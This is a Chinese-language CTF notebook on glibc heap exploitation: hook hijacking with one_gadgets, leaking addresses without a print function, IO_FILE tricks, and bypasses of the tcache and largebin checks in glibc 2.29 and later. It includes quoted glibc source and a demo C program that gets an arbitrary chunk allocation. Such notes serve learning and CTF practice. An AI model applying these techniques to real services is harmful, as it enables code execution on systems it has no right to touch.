ctf笔记

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随心情笔记，不定期更新
one_gadgets笔记：
1.改malloc_hook为one_gadgets,一般malloc触发的方式，one_gadgets由于限制条件不满足，执行都不会成功，可以考虑free两次造成double free，调用malloc_printerr触发，恰好[esp+0x50]=0(当向非标准IO函数向缓冲流输出或输入的数据过大时，往往会先预先给数据分配内存。比如printf/scanf-打印/输入字符串过长时会触发malloc)
2.在地址上malloc_hook与realloc_hook是相邻的，在攻击malloc_hook我们没有能够成功执行one_gadgets，但是我们可以通过将malloc_hook更改为_libc_realloc+0x14,将realloc_hook更该为one_gadgets。 这样的好处在于，我们能够控制__malloc_hook指向的代码的内容，规避掉_libc_realloc中部分指令，从而更改在执行one_gadgets时的占空间，创建能够成功执行one_gadgets的栈空间。这是一个很巧妙的点
3.虽然__free_hook上方几乎是"\x00"，无可用size，但是我们可以先用 unsorted attack 攻击__free_hook上方，在其上方踩出 size，再去劫持 __free_hook。
4.使用tcache stashing attack或unsorted_bin_attack，将_IO_2_1_stdin_->_IO_buf_end改成main_arena+x(我这里是+352)，从而可以在scanf的时候输入数据到realloc_hook和malloc_hook，改成one_gadget，调节下偏移即可。
5.利用house of husk ,覆写__printf_function_table表为heap地址(让其不为空)，覆写__printf_arginfo_table表为heap地址且heap['s']被覆写为了one_gadget，在调用格式化字符带有%sprintf()函数时，即可get shell。
6.写exit函数在ld.so中的_rtld_global._dl_rtld_lock_rescursive 为one_gadget
7.当程序开启full relor时，可写libc中puts函数开头的strlen的got表
无leak函数的利用笔记：
没开PIE的情况
1.可申请或者构造非fastbin chunk情况，能够修改free_got --> puts_plt,下次释放一个unsorted_bin chunk(入链)或者fastbin chunk(入链) ,程序调用链 free->free_got->puts_plt->puts 以此泄露libc地址或者heap地址。
2.只能存在fastbin chunk情况，修改 free_got 为 printf，释放一个有格式化字符串的chunk，利用构造格式化字符串漏洞 打印栈中的 libc 地址。
开启PIE的情况
利用IO_write_base实现leak，详细见https://b0ldfrev.gitbook.io/note/pwn/iofile-li-yong-si-lu-zong-jie#li-yong-iowritebase-shi-xian-leak​
无须泄露，全程爆破的方式(不实用)
​House_of_Roman​
IO_FILE笔记
程序调用exit 后会遍历 _IO_list_all,调用 _IO_2_1_stdout_ 下的vatable中_setbuf 函数.
glibc缺陷
glibc缺陷 : 对于未开启tcache版本来说，只要释放chunk大小在fastbin范围，那就不检查当前释放这个chunk是否已经free（通常检测下一个相邻chunk的prev_size位），就直接将其放入fastbin；
对于开启tcache版本来说，只要tcache中有空，那就不检查当前释放这个chunk是否已经free（通常检测下一个相邻chunk的prev_size位），并直接将其放入tcache中。对于开启tcache这种情况，相对来说就会更危险，我们很容易构造堆风水来实现进一步利用。
malloc_consolidate笔记
malloc_consolidate()函数用于将 fast bins 中的 chunk 合并，并加入 unsorted bin 中。 ptmalloc中会有以下几种情况会调用malloc_consolidate()
1.在_int_malloc的while循环之前，分配的 chunk 属于 small bin,如果 small bin 还没有初始化为双向循环链表，则调用malloc_consolidate()函数将 fast bins中的 chunk 合并.
2.在_int_malloc的while循环之前，分配的 chunk 属于 large bin，判断当前分配区的 fast bins 中是否包含 chunk，如果存在，调用 malloc_consolidate()函数合并 fast bins 中的 chunk
3.在分配chunk时 假如最后 top chunk 也不能满足分配要求，就会查看 fast bins 中是否有空闲 chunk ，若存在就调用malloc_consolidate()函数，并重新设置当前 bin 的 index，并转到最外层的循环，尝试重新分 配 chunk。
4.在释放chunk时，遇到相邻空闲chunk合并或者与topchunk合并，如果合并后的 chunk 大小大于 64KB，并且 fast bins 中存在空闲 chunk，则会调用malloc_consolidate()函数合并 fast bins 中的空闲 chunk 到 unsorted bin 中
一些能触发malloc_consolidate的 trick
scanf时可输入很长一段字符串 "1"*0x1000,这样可以导致scanf内部扩充缓冲区，从而调用init_malloc来分配更大的空间，从而导致malloc_consolidate，合并fast_bin中的空闲chunk。调用栈如图：
如果程序没有setbuf(stdin,0)也就是没有关闭stdin的缓冲区。getchar() 会开辟一个很大的堆块形成缓冲区，也就是申请0x400的chunk,此时fast_bin中存在chunk，就会调用malloc_consolidate合并
1
pwndbg> bt
2
​
3
#0  __GI___libc_malloc (bytes=1024) at malloc.c:2902
4
#1  0x00007ffff7a7a1d5 in __GI__IO_file_doallocate (fp=0x7ffff7dd18e0 <_IO_2_1_stdin_>) at filedoalloc.c:127
5
#2  0x00007ffff7a88594 in __GI__IO_doallocbuf (fp=[email protected]=0x7ffff7dd18e0 <_IO_2_1_stdin_>) at genops.c:398
6
#3  0x00007ffff7a8769c in _IO_new_file_underflow (fp=0x7ffff7dd18e0 <_IO_2_1_stdin_>) at fileops.c:556
7
#4  0x00007ffff7a8860e in __GI__IO_default_uflow (fp=0x7ffff7dd18e0 <_IO_2_1_stdin_>) at genops.c:413
8
#5  0x00007ffff7a83255 in getchar () at getchar.c:37
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程序退出
1.程序会执行到libc里面__GI___call_tls_dtors函数
1
   0x7ffff7a475d0 <__GI___call_tls_dtors>:      push   rbp
2
   0x7ffff7a475d1 <__GI___call_tls_dtors+1>:    push   rbx
3
   0x7ffff7a475d2 <__GI___call_tls_dtors+2>:    sub    rsp,0x8
4
   0x7ffff7a475d6 <__GI___call_tls_dtors+6>:    mov    rbp,QWORD PTR [rip+0x3897a3]        # 0x7ffff7dd0d80
5
=> 0x7ffff7a475dd <__GI___call_tls_dtors+13>:    mov    rbx,QWORD PTR fs:[rbp] # rbp=-0x40
6
   0x7ffff7a475e2 <__GI___call_tls_dtors+18>:    test   rbx,rbx
7
   0x7ffff7a475e5 <__GI___call_tls_dtors+21>:    je     0x7ffff7a4762e <__GI___call_tls_dtors+94>
8
   0x7ffff7a475e7 <__GI___call_tls_dtors+23>:    nop    WORD PTR [rax+rax*1+0x0]
9
   0x7ffff7a475f0 <__GI___call_tls_dtors+32>:    mov    rdx,QWORD PTR [rbx+0x18]
10
   0x7ffff7a475f4 <__GI___call_tls_dtors+36>:    mov    rax,QWORD PTR [rbx]
11
   0x7ffff7a475f7 <__GI___call_tls_dtors+39>:    mov    rdi,QWORD PTR [rbx+0x8]
12
   0x7ffff7a475fb <__GI___call_tls_dtors+43>:    ror    rax,0x11
13
   0x7ffff7a475ff <__GI___call_tls_dtors+47>:    xor    rax,QWORD PTR fs:0x30
14
   0x7ffff7a47608 <__GI___call_tls_dtors+56>:    mov    QWORD PTR fs:[rbp+0x0],rdx
15
   0x7ffff7a4760d <__GI___call_tls_dtors+61>:    call   rax
16
   0x7ffff7a4760f <__GI___call_tls_dtors+63>:    mov    rax,QWORD PTR [rbx+0x10]
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观察看出，__GI___call_tls_dtors+18也就是rbx不为零时，程序会执行到下面的call rax，且参数是由rbx控制，再看__GI___call_tls_dtors+13,rbx是fs:[-0x40]，也就是当前线程栈的TLS结构体的上方0x40处，若能覆盖到此处，就能控制程序执行流程。在最终call rax之前，还有一次ror rax,0x11和xor rax, fs:[0x30]，需要leak出TLS的pointer_guard成员.
1
typedef struct {   
2
void *tcb;        /* Pointer to the TCB.  Not necessarily the thread descriptor used by libpthread.  */   
3
dtv_t *dtv;   
4
void *self;       /* Pointer to the thread descriptor.  */   
5
int multiple_threads;   
6
int gscope_flag;   
7
uintptr_t sysinfo;   
8
uintptr_t stack_guard;   #canary  offset=fs:0x28
9
uintptr_t pointer_guard;   
10
... } tcbhead_t;
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2.程序在执行退出流程时，最终会在ld.so这个动态装载器里面调用_dl_fini函数，这个函数，利用方式见下图：
1
pwndbg> 
2
10:0080│   0x7fffffffe4c0 ◂— 0x0
3
... ↓
4
13:0098│   0x7fffffffe4d8 —▸ 0x7fffffffe548 —▸ 0x7fffffffe7bc ◂— 'LC_PAPER=zh_CN.UTF-8'
5
14:00a0│   0x7fffffffe4e0 —▸ 0x7ffff7ffe168 ◂— 0x0
6
15:00a8│   0x7fffffffe4e8 —▸ 0x7ffff7de77db (_dl_init+139) ◂— jmp    0x7ffff7de77b0
7
16:00b0│   0x7fffffffe4f0 ◂— 0x0
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rbx的值为栈里_dl_init+139上方的0x7ffff7ffe168
calloc绕过 leak
2.23及 以上libc都适用
1
#include<stdio.h>
2
#include<stdlib.h>
3
#include<string.h>
4
​
5
typedef long *longptr;
6
​
7
int main()
8
​
9
{
10
longptr v[7];
11
long *a,*b,*c;
12
​
13
a=malloc(20);
14
b=malloc(20);
15
​
16
memset(b,'A',20);
17
/*
18
for (int i=0;i<7;i++)
19
{
20
v[i]=malloc(20);
21
}
22
​
23
for (int i=0;i<7;i++)
24
{
25
free(v[i]);
26
}
27
*/
28
free(b);
29
b[-1] |= 2;
30
​
31
c=calloc(1,20);
32
​
33
for (int i=0;i<20;i++)
34
{
35
printf("%.2x",((char *)c)[i]);
36
​
37
}
38
putchar("\n");
39
exit(0);
40
​
41
}
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给fastbin_chunk的size的IS_MAPPED域置1.通过calloc分配到时，不会被清空。
1
[email protected]:~$ ./calloc
2
00000000000000004141414141414141414141419
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stack_povit
栈迁移到.bss段时，若栈上方(低地址处)有大约0x200字节的空白空间，则执行system函数就不会报错；但我们通常使用onegadget获取shell
fd相关 close(1)
对于有write函数调用的情况下.
write函数直接能够将输出重定位到0或2描述符.
1
#include<stdio.h>
2
void main()
3
{
4
close(1);
5
write(0,"123",3);
6
return 0;
7
}
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这时能打印123.原因是0，1，2文件描述符都指向同一个tty文件，如下：
1
[master●]#~ file /proc/8642/fd/0
2
/proc/8942/fd/0: symbolic link to /dev/pts/18
3
[master●]#~ file /proc/8642/fd/1
4
/proc/8942/fd/1: symbolic link to /dev/pts/18
5
[master●]#~ file /proc/8642/fd/2
6
/proc/8942/fd/2: symbolic link to /dev/pts/18
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无write函数调用情况下.
由于程序只关闭了文件描述符1，却没有关闭文件描述符0，所以我们可以修改stdout的文件描述符_fileno为0或2，则可以使得程序再次拥有了输出的能力，这时再调用printf或者puts就能输出了
close(1)后，格式化字符串最多只能写0x2000字节，这种情况下在利用时可修改程序.bss段中的stdout指针地址为stderr指针，由源码分析，在vprintf的check时刚好能通过，这使得printf再次拥有输出能力
close(1)时获取服务器端flag，利用重定向"cat flag >&0"
再调用scanf时，会取到_IO_2_1_stdin_结构的fileno,最终汇到底层系统调用read（_IO_2_1_stdin_.fileno，buf，nbytes）。所以有些时候如果我们能够控制IO_stdin结构的fileno为其它fd，再去调用scanf函数时就可以实现从其它fd读数据。
off-by-one 构造思路
方法一
方法二
方法三(非特殊情况不推荐)
原理与方法一类似，在能泄露heap地址前提下，直接构造fake_chunk,填好指针，绕过unlink
realloc
简化版的realloc，非mmapped分配方式
1
__libc_realloc (void *oldmem, size_t bytes)
2
​
3
{
4
​
5
checked_request2size (bytes, nb_szie);
6
old_size = chunksize (oldmem);
7
​
8
// 如果bytes为零，相当于free
9
if (bytes = 0) 
10
{ 
11
    free(oldmem); 
12
    return 0;
13
}
14
​
15
//  如果old_size大于请求size，那就缩减old_size,如果缩减的size小于当前arch最小chunk的大小(不能切割出一个chunk)，那就直接返回原来的oldmem，剩下的交给用户处理，不多管.
16
if (old_size > nb_size)  
17
{ 
18
​
19
if (old_size - nb_size >= 4 * SIZE_SZ) 
20
{
21
  free( oldmem + nb_size );
22
}  
23
old_size=nb_size; 
24
return oldmem; 
25
}
26
​
27
​
28
// 如果old_size小于请求size，glibc2.23是按照常规malloc分配，2.27是从直接从topchunk分配
29
if (old_size < nb_size ) 
30
{
31
​
32
    if (glibc==2.23)
33
     {
34
        p=malloc(bytes);
35
        free(oldmem);
36
        return p;
37
     }
38
​
39
    if(glibc==2.27)
40
     {
41
        p=malloc(bytes); // no_tcache 的_int_malloc不会分配tcache里面的chunk
42
        free(oldmem);
43
        return p;
44
     }
45
​
46
}
47
​
48
}
Copied!
tcache相关
tcache_perthread_struct结构体是用来管理tcache链表： 这个结构体位于heap段的起始位置，且有size：0x251
1
typedef struct tcache_perthread_struct
2
{
3
  char counts[TCACHE_MAX_BINS];//数组长度64，每个元素最大为0x7，仅占用一个字节（对应64个tcache链表）
4
  tcache_entry *entries[TCACHE_MAX_BINS];//entries指针数组（对应64个tcache链表，cache bin中最大为0x400字节
5
  //每一个指针指向的是对应tcache_entry结构体的地址。
6
} tcache_perthread_struct;
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一个tcache链表的结构，单个tcache bins默认最多包含7个块。tcache_entry： 2.26
1
typedef struct tcache_entry
2
{
3
  struct tcache_entry *next;//指向的下一个chunk的fd字段
4
} tcache_entry;
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2.28存在bk字段所有的bk都指向tcache_perthread_struct的fd
1
typedef struct tcache_entry
2
{
3
 //指向tcache的下一个chunk，
4
  struct tcache_entry *next;
5
  /* 这个字段是用来检测双重free释放的  */
6
  struct tcache_perthread_struct *key;
7
} tcache_entry;
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放入tcache bin的情况:
释放时，_int_free中在检查了size合法后(小于0x400)，放入fastbin之前，它先尝试将其放入tcache
在_int_malloc中，若fastbins中取出块则将对应bin中其余chunk填入tcache对应项直到填满（smallbins中也是如此）
当进入unsorted bin(同时发生堆块合并）中找到精确的大小时，并不是直接返回而是先加入tcache中，直到填满：
取tcache bin中的chunk：
在__libc_malloc，_int_malloc之前，如果tcache中存在满足申请需求大小的块，就从对应的tcache中返回chunk
在遍历完unsorted bin(同时发生堆块合并）之后，若是tcache中有对应大小chunk则取出并返回：
在遍历unsorted bin时，大小不匹配的chunk将会被放入对应的bins，若达到tcache_unsorted_limit限制且之前已经存入过chunk则在此时取出（默认无限制）：
tcache struct攻击
tcache初始化
1
tcache_init(void)
2
{
3
  mstate ar_ptr;
4
  void *victim = 0;
5
  const size_t bytes = sizeof (tcache_perthread_struct);
6
  if (tcache_shutting_down)
7
    return;
8
  arena_get (ar_ptr, bytes);
9
  victim = _int_malloc (ar_ptr, bytes);
10
  if (!victim && ar_ptr != NULL)
11
    {
12
      ar_ptr = arena_get_retry (ar_ptr, bytes);
13
      victim = _int_malloc (ar_ptr, bytes);
14
    }
15
  if (ar_ptr != NULL)
16
    __libc_lock_unlock (ar_ptr->mutex);
17
  /* In a low memory situation, we may not be able to allocate memory
18
     - in which case, we just keep trying later.  However, we
19
     typically do this very early, so either there is sufficient
20
     memory, or there isn't enough memory to do non-trivial
21
     allocations anyway.  */
22
  if (victim)
23
    {
24
      tcache = (tcache_perthread_struct *) victim;
25
      memset (tcache, 0, sizeof (tcache_perthread_struct));
26
    }
27
}
Copied!
在程序需要进行动态分配时，如果是使用TCACHE机制的话，会先对tcache进行初始化。跟其他bins不一样的是，tcache是用_int_malloc函数进行分配内存空间的，因此tcache结构体是位于heap段，而不是main_arena。通常 tcache结构体位于堆首的chunk.
1
typedef struct tcache_perthread_struct
2
{
3
  char counts[TCACHE_MAX_BINS];//0x40
4
  tcache_entry *entries[TCACHE_MAX_BINS];//0x40
5
} tcache_perthread_struct;
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tcache的结构是由0x40字节数量数组（每个字节代表对应大小tcache的数量）和0x200(0x40*8)字节的指针数组组成（每8个字节代表相应tache_entry链表的头部指针）。因此整个tcache_perthread_struct结构体大小为0x240。
tcache free
1
#if USE_TCACHE
2
  {
3
    size_t tc_idx = csize2tidx (size);
4
    if (tcache
5
        && tc_idx < mp_.tcache_bins
6
        && tcache->counts[tc_idx] < mp_.tcache_count)//<7
7
      {
8
        tcache_put (p, tc_idx);
9
        return;
10
      }
11
  }
12
#endif
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在将chunk放入tcahce的时候会检查tcache->counts[tcidx] < mp.tcache_count（无符号比较），也就是表示在tacha_entry链表中的tache数量是否小于7个。但值得注意的是，tcache->counts[tc_idx]是放在堆上的，因此如果可以修改堆上数据，可以将其改为较大的数，这样就不会将chunk放入tache了。
tcache malloc
1
#if USE_TCACHE
2
  /* int_free also calls request2size, be careful to not pad twice.  */
3
  size_t tbytes;
4
  checked_request2size (bytes, tbytes);
5
  size_t tc_idx = csize2tidx (tbytes);
6
  MAYBE_INIT_TCACHE ();
7
  DIAG_PUSH_NEEDS_COMMENT;
8
  if (tc_idx < mp_.tcache_bins
9
      /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
10
      && tcache
11
      && tcache->entries[tc_idx] != NULL)
12
    {
13
      return tcache_get (tc_idx);
14
    }
15
  DIAG_POP_NEEDS_COMMENT;
16
#endif
Copied!
而在tcache分配时，不会检查tcache->counts[tc_idx]的大小是否大于0，会造成下溢。且没有检测entries处chunk的合法性，我们若能伪造tcache->entries[tc_idx]的tcache_entry指针，那我们就能实现从tcache任意地址分配chunk。
关于glibc 2.29及以上一些check的绕过
1.在unlink操作前增加了prevsize的检查机制：在合并的时候会判断prev_size和要合并chunk的size是否相同。
1
/* consolidate backward */
2
if (!prev_inuse(p)) {
3
  prevsize = prev_size (p);
4
  size += prevsize;
5
  p = chunk_at_offset(p, -((long) prevsize));
6
  if (__glibc_unlikely (chunksize(p) != prevsize))
7
    malloc_printerr ("corrupted size vs. prev_size while consolidating");
8
  unlink_chunk (av, p);
9
}
Copied!
这样导致了常规off-by-null的构造方式失效，但可利用残余在 large bin 上的 fd_nextsize / bk_nextsize 指针，smallbin残留的bk指针，以及fastbin的fd指针 来构造出一个天然的chunk链来绕过size检测与双向链表检测。具体见https://bbs.pediy.com/thread-257901.htm​
2.增加了tcache_double_free的检测，2.29将每个放入tcache中的chunk->bk(也是tcache entries结构的key位)设置为tcache。
1
void
2
tcache_put (mchunkptr chunk, size_t tc_idx)
3
{
4
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
5
  assert (tc_idx < TCACHE_MAX_BINS);
6
​
7
  /* Mark this chunk as "in the tcache" so the test in _int_free will
8
     detect a double free.  */
9
  e->key = tcache;
10
​
11
  e->next = tcache->entries[tc_idx];
12
  tcache->entries[tc_idx] = e;
13
  ++(tcache->counts[tc_idx]);
14
}
Copied!
在释放tcache中的chunk时，只根据相应的tc_idx检测重复chunk
1
/* This test succeeds on double free.  However, we don't 100%
2
    trust it (it also matches random payload data at a 1 in
3
    2^<size_t> chance), so verify it's not an unlikely
4
    coincidence before aborting.  */
5
if (__glibc_unlikely (e->key == tcache))
6
  {
7
    tcache_entry *tmp;
8
    LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
9
    for (tmp = tcache->entries[tc_idx];
10
    tmp;
11
    tmp = tmp->next)
12
      if (tmp == e)
13
  malloc_printerr ("free(): double free detected in tcache 2");
14
    /* If we get here, it was a coincidence.  We've wasted a
15
        few cycles, but don't abort.  */
16
  }
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绕过方式：可以将同一个tcache_chunk放入不同的tcache_bin或其他bin中来重新实现利用（这种方式见House_of_botcake）；也可以篡改chunk->key，使其e->key != tcache来绕过。
也可以利用fastbin的double free，待fastbin形成double_free链后再malloc重分配清空tchache预留位置，最后一次malloc使得剩余fastbin进入tcache，实现堆块复用。详细可参见glibc2.31下的新double free手法/字节跳动pwn题gun题解​
3._int_malloc中，使用unsortedbin_attack时，增加了对unsortedbin双向链表的完整性检测，导致unsortedbin_attack不可用.
1
/* remove from unsorted list */
2
if (__glibc_unlikely (bck->fd != victim))
3
  malloc_printerr ("malloc(): corrupted unsorted chunks 3");
4
unsorted_chunks (av)->bk = bck;
5
bck->fd = unsorted_chunks (av);
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但有另外的地方可利用，unsortedbin_attack无非就是往一个地址写一个值，如果只是为了改例如global_max_fast,那largebin_attack完全可以替代，只不过写入的是堆地址，只是和largebin_attack配套的house of strom来实现任意地址分配不能用了。
1
          if (__glibc_unlikely (size <= 2 * SIZE_SZ)
2
              || __glibc_unlikely (size > av->system_mem))
3
            malloc_printerr ("malloc(): invalid size (unsorted)");
4
          if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)
5
              || __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
6
            malloc_printerr ("malloc(): invalid next size (unsorted)");
7
          if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
8
            malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
9
          if (__glibc_unlikely (bck->fd != victim)
10
              || __glibc_unlikely (victim->fd != unsorted_chunks (av)))
11
            malloc_printerr ("malloc(): unsorted double linked list corrupted");
12
          if (__glibc_unlikely (prev_inuse (next)))
13
            malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
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如果要达到写libc地址，也可以，有师傅把它叫做tcache stash unlink attack plus，
1
  if (in_smallbin_range (nb))
2
    {
3
      idx = smallbin_index (nb);
4
      bin = bin_at (av, idx);
5
​
6
      if ((victim = last (bin)) != bin)
7
        {
8
          bck = victim->bk;
9
      if (__glibc_unlikely (bck->fd != victim))
10
        malloc_printerr ("malloc(): smallbin double linked list corrupted");
11
          set_inuse_bit_at_offset (victim, nb);
12
          bin->bk = bck;  
13
          bck->fd = bin;
14
​
15
          if (av != &main_arena)
16
        set_non_main_arena (victim);
17
          check_malloced_chunk (av, victim, nb);
18
#if USE_TCACHE
19
      /* While we're here, if we see other chunks of the same size,
20
         stash them in the tcache.  */
21
      size_t tc_idx = csize2tidx (nb);
22
      if (tcache && tc_idx < mp_.tcache_bins)
23
        {
24
          mchunkptr tc_victim;
25
​
26
          /* While bin not empty and tcache not full, copy chunks over.  */
27
          while (tcache->counts[tc_idx] < mp_.tcache_count
28
             && (tc_victim = last (bin)) != bin)
29
        {
30
          if (tc_victim != 0)
31
            {
32
              bck = tc_victim->bk;
33
              set_inuse_bit_at_offset (tc_victim, nb);
34
              if (av != &main_arena)
35
            set_non_main_arena (tc_victim);
36
              bin->bk = bck;
37
              bck->fd = bin;
38
​
39
              tcache_put (tc_victim, tc_idx);
40
                }
41
        }
42
        }
43
#endif
44
          void *p = chunk2mem (victim);
45
          alloc_perturb (p, bytes);
46
          return p;
47
        }
48
    }
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前置条件是：对应tcache中预留2个chunk位（至少）(除非你能伪造fd，绕过双向链表检测)
small bin中存在2个chunk，我们修改small bin头部chunk的bk为target，fd不变（ 不修改small bin尾部chunk是为了绕过分配时的smallbin double linked list corrupted检测 ）,且target->bk( target+3*size_t )必须是一个可写地址，记作target->bk = attack_addr
原理是_int_malloc中,当从small bin中申请出chunk时，small bin尾部chunk在经过双向链表检测后会被分配出去，启用tcache会遍历small bin中剩余的chunk放入到对应tcache中，但此时的small bin链表已经被破坏，(tc_victim = last (bin)) != bin 这个条件恒成立直到abort，为了beak那个while循环，我们才在tcache中预留2个chunk位，直到tcache被填满tcache->counts[tc_idx] = mp_.tcache_count以此来跳出循环。
同时在最后一次unlink过程中会往attack_addr -> fd写入一个main_arena的地址，实现任意地址写。(当然这个洞在引入tcache时的glibc版本就已经存在)。
1
static void *
2
_int_malloc (mstate av, size_t bytes)
3
​
4
​
5
/* While bin not empty and tcache not full, copy chunks over.  */
6
while (tcache->counts[tc_idx] < mp_.tcache_count
7
  && (tc_victim = last (bin)) != bin)
8
{
9
    if (tc_victim != 0)
10
        {
11
          bck = tc_victim->bk;
12
          set_inuse_bit_at_offset (tc_victim, nb);
13
          if (av != &main_arena)
14
        set_non_main_arena (tc_victim);
15
          bin->bk = bck;
16
          bck->fd = bin;
17
          tcache_put (tc_victim, tc_idx);
18
        }
19
}
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这时tcache已满，且tcache顶部刚好是我们伪造那个target_chunk
4.在使用top chunk的时候增加了检查：size要小于等于system_mems，因为House of Force需要控制top chunk的size为-1，不能通过这项检查，所以House of Force不可用
5.从glibc 2.30开始，常规large bin attack方法也被封堵
1
  if ((unsigned long) size
2
              == (unsigned long) chunksize_nomask (fwd))
3
                        /* Always insert in the second position.  */
4
                        fwd = fwd->fd;
5
                      else
6
                        {
7
                          victim->fd_nextsize = fwd;
8
                          victim->bk_nextsize = fwd->bk_nextsize;
9
                          if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
10
                            malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
11
                          fwd->bk_nextsize = victim;
12
                          victim->bk_nextsize->fd_nextsize = victim;
13
                        }
14
                      bck = fwd->bk;
15
                      if (bck->fd != fwd)
16
                        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
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查看相关代码，发现其中只增加了对 size 大于最小 size 的时候做了 检查，但是小于最小 size 却没有进行检查，因此我们可以利用这一点来完成 libc2.30 及以上的largebin attack。
具体做法是，往 largebin 中放一个堆块，并在 unsorted bin 中放一个比 large bin 中小但是在同一个 index的堆块，利用 uaf 修改 large bin 的 bk_nextsize = 目标地址，申请一个比 unsorted bin 中小的 chunk 触发攻击，此时 largebin->bk_nextsize->fd_nextsize 写入堆地址。
tcache相关冷门漏洞(任意地址写与任意地址分配)
1.small bin
1
  if (in_smallbin_range (nb))
2
    {
3
      idx = smallbin_index (nb);
4
      bin = bin_at (av, idx);
5
​
6
      if ((victim = last (bin)) != bin)
7
        {
8
          bck = victim->bk;
9
      if (__glibc_unlikely (bck->fd != victim))
10
        malloc_printerr ("malloc(): smallbin double linked list corrupted");
11
          set_inuse_bit_at_offset (victim, nb);
12
          bin->bk = bck;  
13
          bck->fd = bin;
14
​
15
          if (av != &main_arena)
16
        set_non_main_arena (victim);
17
          check_malloced_chunk (av, victim, nb);
18
#if USE_TCACHE
19
      /* While we're here, if we see other chunks of the same size,
20
         stash them in the tcache.  */
21
      size_t tc_idx = csize2tidx (nb);
22
      if (tcache && tc_idx < mp_.tcache_bins)
23
        {
24
          mchunkptr tc_victim;
25
​
26
          /* While bin not empty and tcache not full, copy chunks over.  */
27
          while (tcache->counts[tc_idx] < mp_.tcache_count
28
             && (tc_victim = last (bin)) != bin)
29
        {
30
          if (tc_victim != 0)
31
            {
32
              bck = tc_victim->bk;
33
              set_inuse_bit_at_offset (tc_victim, nb);
34
              if (av != &main_arena)
35
            set_non_main_arena (tc_victim);
36
              bin->bk = bck;
37
              bck->fd = bin;
38
​
39
              tcache_put (tc_victim, tc_idx);
40
                }
41
        }
42
        }
43
#endif
44
          void *p = chunk2mem (victim);
45
          alloc_perturb (p, bytes);
46
          return p;
47
        }
48
    }
Copied!
前置条件是：对应tcache中预留2个chunk位（至少）(除非你能伪造fd，绕过双向链表检测)
small bin中存在2个chunk，我们修改small bin头部chunk的bk为target，fd不变（ 不修改small bin尾部chunk是为了绕过分配时的smallbin double linked list corrupted检测 ）,且target->bk( target+3*size_t )必须是一个可写地址，记作target->bk = attack_addr
原理是_int_malloc中,当从small bin中申请出chunk时，small bin尾部chunk在经过双向链表检测后会被分配出去，启用tcache会遍历small bin中剩余的chunk放入到对应tcache中，但此时的small bin链表已经被破坏，(tc_victim = last (bin)) != bin 这个条件恒成立直到abort，为了beak那个while循环，我们才在tcache中预留2个chunk位，直到tcache被填满tcache->counts[tc_idx] = mp_.tcache_count以此来跳出循环。
同时在最后一次unlink过程中会往attack_addr -> fd写入一个main_arena的地址，实现任意地址写。
1
static void *
2
_int_malloc (mstate av, size_t bytes)
3
​
4
​
5
/* While bin not empty and tcache not full, copy chunks over.  */
6
while (tcache->counts[tc_idx] < mp_.tcache_count
7
  && (tc_victim = last (bin)) != bin)
8
{
9
    if (tc_victim != 0)
10
        {
11
          bck = tc_victim->bk;
12
          set_inuse_bit_at_offset (tc_victim, nb);
13
          if (av != &main_arena)
14
        set_non_main_arena (tc_victim);
15
          bin->bk = bck;
16
          bck->fd = bin;
17
          tcache_put (tc_victim, tc_idx);
18
        }
19
}
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这时tcache已满，且tcache顶部刚好是我们伪造那个target_chunk
由于smallbin摘链后chunk全部进入tcache，且已满，这时tcache对应idx入口处的chunk是target_chunk。如果再次调用malloc申请chunk，得益于从tcache分配时未仔细检查chunk_head，这时便会从tcache中将这个target_chunk分配出来，实现任意地址分配内存。
demo代码可参考V1me师傅写的
1
#include<stdio.h>
2
#include<stdlib.h>
3
int main() {
4
    char buf[0x100];
5
    long *ptr1 = NULL, *ptr2 = NULL;
6
    int i = 0;
7
​
8
    memset(buf, 0, sizeof(buf));
9
    *(long *)(buf + 8) = (long)buf + 0x40;
10
​
11
    // put 5 chunks in tcache[0x90]
12
    for (i = 0; i < 5; i++) {
13
        free(calloc(1, 0x88));
14
    }
15
​
16
    // put 2 chunks in small bins
17
    ptr1 = calloc(1, 0x168);
18
    calloc(1, 0x18);
19
    ptr2 = calloc(1, 0x168);
20
​
21
    for (i = 0; i < 7; i++) {
22
        free(calloc(1, 0x168));
23
    }
24
​
25
    free(ptr1);
26
    ptr1 = calloc(1, 0x168 - 0x90);
27
​
28
    free(ptr2);
29
    ptr2 = calloc(1, 0x168 - 0x90);
30
​
31
    calloc(1, 0x108);
32
​
33
    // ptr1 and ptr2 point to the small bin chunks [0x90]
34
    ptr1 += (0x170 - 0x90) / 8;
35
    ptr2 += (0x170 - 0x90) / 8;
36
​
37
    // vuln
38
    ptr2[1] = (long)buf - 0x10;
39
​
40
    // trigger
41
    calloc(1, 0x88);
42
​
43
    // malloc from tcache
44
    ptr1 = malloc(0x88);
45
    strcpy((char *)ptr1, "Ohhhhhh! you are pwned!");
46
    printf("%s\n", buf);
47
    return 0;
48
}
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2.fast bin
当从fastbin中分配出chunk时(比如调用calloc->_int_malloc)，如果fastbin中还有剩余chunk且相对应idx的tcache有空闲位置，这时就会根据fd指针将剩余的fastbin_chunk链入tcache中，且在这个过程中并没有检查剩余fastbin_chunk的完整性。
1
static void *
2
_int_malloc (mstate av, size_t bytes)
3
​
4
#if USE_TCACHE
5
          /* While we're here, if we see other chunks of the same size,
6
         stash them in the tcache.  */
7
          size_t tc_idx = csize2tidx (nb);
8
          if (tcache && tc_idx < mp_.tcache_bins)
9
        {
10
          mchunkptr tc_victim;
11
​
12
          /* While bin not empty and tcache not full, copy chunks.  */
13
          while (tcache->counts[tc_idx] < mp_.tcache_count
14
             && (tc_victim = *fb) != NULL)
15
            {
16
              if (SINGLE_THREAD_P)
17
            *fb = tc_victim->fd;
18
              else
19
            {
20
              REMOVE_FB (fb, pp, tc_victim);
21
              if (__glibc_unlikely (tc_victim == NULL))
22
                break;
23
            }
24
              tcache_put (tc_victim, tc_idx);
25
            }
26
        }
27
#endif
Copied!
